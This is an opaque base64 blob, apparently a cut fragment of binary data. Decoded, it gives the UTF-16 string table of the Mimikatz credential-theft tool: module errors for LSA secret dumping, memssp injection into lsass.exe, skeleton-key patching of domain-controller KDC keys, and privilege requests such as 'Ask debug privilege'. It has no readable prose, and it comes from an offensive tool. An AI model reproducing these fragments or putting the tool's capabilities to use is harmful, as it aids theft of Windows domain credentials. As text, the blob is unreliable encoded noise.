AAARQBOAEMAUgBZAFAAVABFAEQAXwBUAEUAWABUAF8AUABBAFMAUwBXAE8AUgBEAF8AQQBMAEwATwBXAEUARAAAAFQARQBNAFAAXwBEAFUAUABMAEkAQwBBAFQARQBfAEEAQwBDAE8AVQBOAFQAAAAAAE4ATwBSAE0AQQBMAF8AQQBDAEMATwBVAE4AVAAAAAAAMAB4ADQAMAAwACAAPwAAAEkATgBUAEUAUgBEAE8ATQBBAEkATgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAAAAVwBPAFIASwBTAFQAQQBUAEkATwBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAAABTAEUAUgBWAEUAUgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAAAAAAAwAHgANAAwADAAMAAgAD8AAAAAAAAAAAAwAHgAOAAwADAAMAAgAD8AAAAAAAAAAABEAE8ATgBUAF8ARQBYAFAASQBSAEUAXwBQAEEAUwBTAFcARAAAAAAATQBOAFMAXwBMAE8ARwBPAE4AXwBBAEMAQwBPAFUATgBUAAAAAAAAAFMATQBBAFIAVABDAEEAUgBEAF8AUgBFAFEAVQBJAFIARQBEAAAAAABUAFIAVQBTAFQARQBEAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AVABfAEQARQBMAEUARwBBAFQARQBEAAAAAAAAAFUAUwBFAF8ARABFAFMAXwBLAEUAWQBfAE8ATgBMAFkAAAAAAAAAAABEAE8ATgBUAF8AUgBFAFEAVQBJAFIARQBfAFAAUgBFAEEAVQBUAEgAAAAAAAAAAABQAEEAUwBTAFcATwBSAEQAXwBFAFgAUABJAFIARQBEAAAAAAAAAAAAAAAAAAAAAABUAFIAVQBTAFQARQBEAF8AVABPAF8AQQBVAFQASABFAE4AVABJAEMAQQBUAEUAXwBGAE8AUgBfAEQARQBMAEUARwBBAFQASQBPAE4AAAAAAE4ATwBfAEEAVQBUAEgAXwBEAEEAVABBAF8AUgBFAFEAVQBJAFIARQBEAAAAAAAAAFAAQQBSAFQASQBBAEwAXwBTAEUAQwBSAEUAVABTAF8AQQBDAEMATwBVAE4AVAAAAFUAUwBFAF8AQQBFAFMAXwBLAEUAWQBTAAAAAAAAAAAAMAB4ADEAMAAwADAAMAAwADAAMAAgAD8AAAAAAAAAAAAwAHgAMgAwADAAMAAwADAAMAAwACAAPwAAAAAAAAAAADAAeAA0ADAAMAAwADAAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADgAMAAwADAAMAAwADAAMAAgAD8AAAAAAAAAAABEAE8ATQBBAEkATgBfAE8AQgBKAEUAQwBUAAAAAAAAAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAAAAAAAATgBPAE4AXwBTAEUAQwBVAFIASQBUAFkAXwBHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAAAAAABBAEwASQBBAFMAXwBPAEIASgBFAEMAVAAAAAAAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8AQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAAAAAAAAVQBTAEUAUgBfAE8AQgBKAEUAQwBUAAAATQBBAEMASABJAE4ARQBfAEEAQwBDAE8AVQBOAFQAAABUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAAEEAUABQAF8AQgBBAFMASQBDAF8ARwBSAE8AVQBQAAAAQQBQAFAAXwBRAFUARQBSAFkAXwBHAFIATwBVAFAAAAAqACoAIABTAEEATQAgAEEAQwBDAE8AVQBOAFQAIAAqACoACgAKAAAAUwBBAE0AIABVAHMAZQByAG4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAVQBzAGUAcgAgAFAAcgBpAG4AYwBpAHAAYQBsACAATgBhAG0AZQAgACAAOgAgAAAAQQBjAGMAbwB1AG4AdAAgAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAoACAAJQBzACAAKQAKAAAAVQBzAGUAcgAgAEEAYwBjAG8AdQBuAHQAIABDAG8AbgB0AHIAbwBsACAAOgAgACUAMAA4AHgAIAAoACAAAAAAAEEAYwBjAG8AdQBuAHQAIABlAHgAcABpAHIAYQB0AGkAbwBuACAAIAAgADoAIAAAAFAAYQBzAHMAdwBvAHIAZAAgAGwAYQBzAHQAIABjAGgAYQBuAGcAZQAgADoAIAAAAE8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5ACAASQBEACAAIAAgADoAIAAAAE8AYgBqAGUAYwB0ACAAUgBlAGwAYQB0AGkAdgBlACAASQBEACAAIAAgADoAIAAlAHUACgAAAAAACgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOgAKAAAAAABsAG0AIAAgAAAAAAAAAAAACgBTAHUAcABwAGwAZQBtAGUAbgB0AGEAbAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAqACAAJQB3AFoAIAAqAAoAAAAAACUwMngAAAAAAAAAACAAIAAgACAAVQBuAGsAbgBvAHcAbgAgAGQAYQB0AGEAIAA6ACAAAAAqACoAIABUAFIAVQBTAFQARQBEACAARABPAE0AQQBJAE4AIAAtACAAQQBuAHQAaQBzAG8AYwBpAGEAbAAgACoAKgAKAAoAAABQAGEAcgB0AG4AZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAGEAYwBjAG8AdQBuAHQAAABjAG8AbQBwAHUAdABlAHIAAAAAAAAAAAAgACAAQQBjAGMAbwB1AG4AdAA6ACAAJQBzAAoAAAAAACAAIABOAFQATABNACAAIAAgADoAIAAAACAAIABOAFQATABNAC0AMQAgADoAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAVAByAHUAcwB0AFAAYQBzAHMAdwBvAHIAZABzAEcAZQB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABTAGUAcgB2AGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsACAAZABvAGUAcwAgAG4AbwB0ACAAbQBhAHQAYwBoACAAQwBhAG4AZABpAGQAYQB0AGUAUwBlAHIAdgBlAHIAQwByAGUAZABlAG4AdABpAGEAbAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAQQB1AHQAaABlAG4AdABpAGMAYQB0AGUAMgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAUgBlAHEAQwBoAGEAbABsAGUAbgBnAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABuAHQAbABtACAAaABhAHMAaAAvAHIAYwA0ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAYwAKAAAAAAAAAGMAbQBkAAAAAAAAAAAAAABDAG8AbQBtAGEAbgBkACAAUAByAG8AbQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAEMATQBEACkAAAAAAAAAAAByAGUAZwBlAGQAaQB0AAAAUgBlAGcAaQBzAHQAcgB5ACAARQBkAGkAdABvAHIAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzACkAAAAAAHQAYQBzAGsAbQBnAHIAAABUAGEAcwBrACAATQBhAG4AYQBnAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAKQAAAAAAAAAAAG4AYwByAG8AdQB0AGUAbQBvAG4AAAAAAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgACgAdwBpAHQAaABvAHUAdAAgAHIAbwB1AHQAZQAgAG0AbwBuAGkAdABvAHIAaQBuAGcAKQAAAAAAZABlAHQAbwB1AHIAcwAAAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAVAByAHkAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGEAbABsACAAbQBvAGQAdQBsAGUAcwAgAHcAaQB0AGgAIABEAGUAdABvAHUAcgBzAC0AbABpAGsAZQAgAGgAbwBvAGsAcwAAAG0AZQBtAHMAcwBwAAAAAABzAGsAZQBsAGUAdABvAG4AAAAAAAAAAABjAG8AbQBwAHIAZQBzAHMAbQBlAAAAAABtAGkAcwBjAAAAAAAAAAAATQBpAHMAYwBlAGwAbABhAG4AZQBvAHUAcwAgAG0AbwBkAHUAbABlAAAAAAAAAAAASwBpAHcAaQBBAG4AZABDAE0ARAAAAAAARABpAHMAYQBiAGwAZQBDAE0ARAAAAAAAYwBtAGQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAAAAAAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAAAAAAHIAZQBnAGUAZABpAHQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAVABhAHMAawBNAGcAcgAAAAAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByAAAAAAB0AGEAcwBrAG0AZwByAC4AZQB4AGUAAABkAHMATgBjAFMAZQByAHYAaQBjAGUAAAAJACgAJQB3AFoAKQAAAAAACQBbACUAdQBdACAAJQB3AFoAIAAhACAAAAAAAAAAAAAlAC0AMwAyAFMAAAAAAAAAIwAgACUAdQAAAAAAAAAAAAkAIAAlAHAAIAAtAD4AIAAlAHAAAAAAACUAdwBaACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGQAZQB0AG8AdQByAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAFAAYQB0AGMAaAAgAE8ASwAgAGYAbwByACAAJwAlAHMAJwAgAGYAcgBvAG0AIAAnACUAcwAnACAAdABvACAAJwAlAHMAJwAgAEAAIAAlAHAACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGcAZQBuAGUAcgBpAGMAXwBuAG8AZwBwAG8AXwBwAGEAdABjAGgAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbQBzAHYAYwByAHQALgBkAGwAbAAAAAAAZm9wZW4AAABmd3ByaW50ZgAAAABmY2xvc2UAAAAAAABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABJAG4AagBlAGMAdABlAGQAIAA9ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAVAByAGEAbQBwAG8AbABpAG4AZQAgAG4AMAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAVAByAGEAbQBwAG8AbABpAG4AZQAgAG4AMQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAcgBlAGEAbAAgAGEAcwBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAATG9jYWxBbGxvYwAAAAAAAGwAZQB0AGEAZQBzAAAAAABrAGQAYwBzAHYAYwAuAGQAbABsAAAAAABbAEsARABDAF0AIABkAGEAdABhAAoAAABbAEsARABDAF0AIABzAHQAcgB1AGMAdAAKAAAAAAAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAAAAAAAAWwBSAEMANABdACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAAAAAAAAAFsAUgBDADQAXQAgAGkAbgBpAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAcgBlAGEAdABlACAAcgBlAG0AbwB0AGUAIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABVAHMAaQBuAGcAIAAnACUAcwAnACAAYQBzACAAaQBuAHAAdQB0ACAAZgBpAGwAZQAKAAAAAAAAACAAKgAgAE8AcgBpAGcAaQBuAGEAbAAgAHMAaQB6AGUAIAAgADoAIAAlAHUACgAAAG0AaQBtAGkAawBhAHQAegBfAHgANgA0AC4AYwBvAG0AcAByAGUAcwBzAGUAZAAAACAAKgAgAEMAbwBtAHAAcgBlAHMAcwBlAGQAIABzAGkAegBlADoAIAAlAHUAIAAoACUALgAyAGYAJQAlACkACgBVAHMAaQBuAGcAIAAnACUAcwAnACAAYQBzACAAbwB1AHQAcAB1AHQAIABmAGkAbABlAC4ALgAuACAAAAAAAAAATwBLACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGMAbwBtAHAAcgBlAHMAcwBtAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAZwByAG8AdQBwAAAAAAAAAGEAbABpAGEAcwAAAAAAAABuAGUAdAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgAEIAdQBpAGwAdABpAG4AIAAoAD8AKQAgACUAMAA4AHgACgAAAAoARABvAG0AYQBpAG4AIABuAGEAbQBlACAAOgAgACUAdwBaAAAAAAAKAEQAbwBtAGEAaQBuACAAUwBJAEQAIAAgADoAIAAAAAoAIAAlAC0ANQB1ACAAJQB3AFoAAAAAAAoAIAB8ACAAJQAtADUAdQAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQARwByAG8AdQBwAHMARgBvAHIAVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAAAKACAAfABgACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABBAGwAaQBhAHMATQBlAG0AYgBlAHIAcwBoAGkAcAAgACUAMAA4AHgAAAAAAAoAIAB8ALQAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAFIAaQBkAFQAbwBTAGkAZAAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAEcAZQB0AE0AZQBtAGIAZQByAHMASQBuAEEAbABpAGEAcwAgACUAMAA4AHgAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBPAHAAZQBuAEcAcgBvAHUAcAAgACUAMAA4AHgAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBHAHIAbwB1AHAAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBnAHIAbwB1AHAAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAAAAAAoAIAB8ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBhAGwAaQBhAHMAIAA7ACAAUwBhAG0ARwBlAHQATQBlAG0AYgBlAHIAcwBJAG4AQQBsAGkAYQBzACAAJQAwADgAeAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAE8AcABlAG4AQQBsAGkAYQBzACAAJQAwADgAeAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEEAbABpAGEAcwBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBhAGwAaQBhAHMAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBhAGwAaQBhAHMAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAARABvAG0AYQBpAG4ASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGEAbABpAGEAcwAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAAAAAAJQB3AFoACQAoACUAcwApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHMAaQBtAHAAbABlAEwAbwBvAGsAdQBwACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEkAZABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAAZABlAGIAdQBnAAAAAAAAAEEAcwBrACAAZABlAGIAdQBnACAAcAByAGkAdgBpAGwAZQBnAGUAAABkAHIAaQB2AGUAcgAAAAAAQQBzAGsAIABsAG8AYQBkACAAZAByAGkAdgBlAHIAIABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABBAHMAawAgAHMAZQBjAHUAcgBpAHQAeQAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAB0AGMAYgAAAEEAcwBrACAAdABjAGIAIABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABiAGEAYwBrAHUAcAAAAAAAQQBzAGsAIABiAGEAYwBrAHUAcAAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAAAAcgBlAHMAdABvAHIAZQAAAEEAcwBrACAAcgBlAHMAdABvAHIAZQAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAHMAeQBzAGUAbgB2AAAAAAAAAAAAAAAAAEEAcwBrACAAcwB5AHMAdABlAG0AIABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAAAAAEEAcwBrACAAYQAgAHAAcgBpAHYAaQBsAGUAZwBlACAAYgB5ACAAaQB0AHMAIABpAGQAAAAAAAAAQQBzAGsAIABhACAAcAByAGkAdgBpAGwAZQBnAGUAIABiAHkAIABpAHQAcwAgAG4AYQBtAGUAAABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABQAHIAaQB2AGkAbABlAGcAZQAgAG0AbwBkAHUAbABlAAAAAAAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBzAGkAbQBwAGwAZQAgADsAIABSAHQAbABBAGQAagB1AHMAdABQAHIAaQB2AGkAbABlAGcAZQAgACgAJQB1ACkAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAGkAZAAgADsAIABNAGkAcwBzAGkAbgBnACAAJwBpAGQAJwAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAG4AYQBtAGUAIAA7ACAATABVAEkARAAgAGgAaQBnAGgAIABwAGEAcgB0ACAAaQBzACAAJQB1AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBuAGEAbQBlACAAOwAgAEwAbwBvAGsAdQBwAFAAcgBpAHYAaQBsAGUAZwBlAFYAYQBsAHUAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAG4AYQBtAGUAIAA7ACAATQBpAHMAcwBpAG4AZwAgACcAbgBhAG0AZQAnAAoAAAAAAAAAZQB4AHAAbwByAHQAcwAAAEwAaQBzAHQAIABlAHgAcABvAHIAdABzAAAAAAAAAAAAaQBtAHAAbwByAHQAcwAAAEwAaQBzAHQAIABpAG0AcABvAHIAdABzAAAAAAAAAAAAcwB0AGEAcgB0AAAAAAAAAFMAdABhAHIAdAA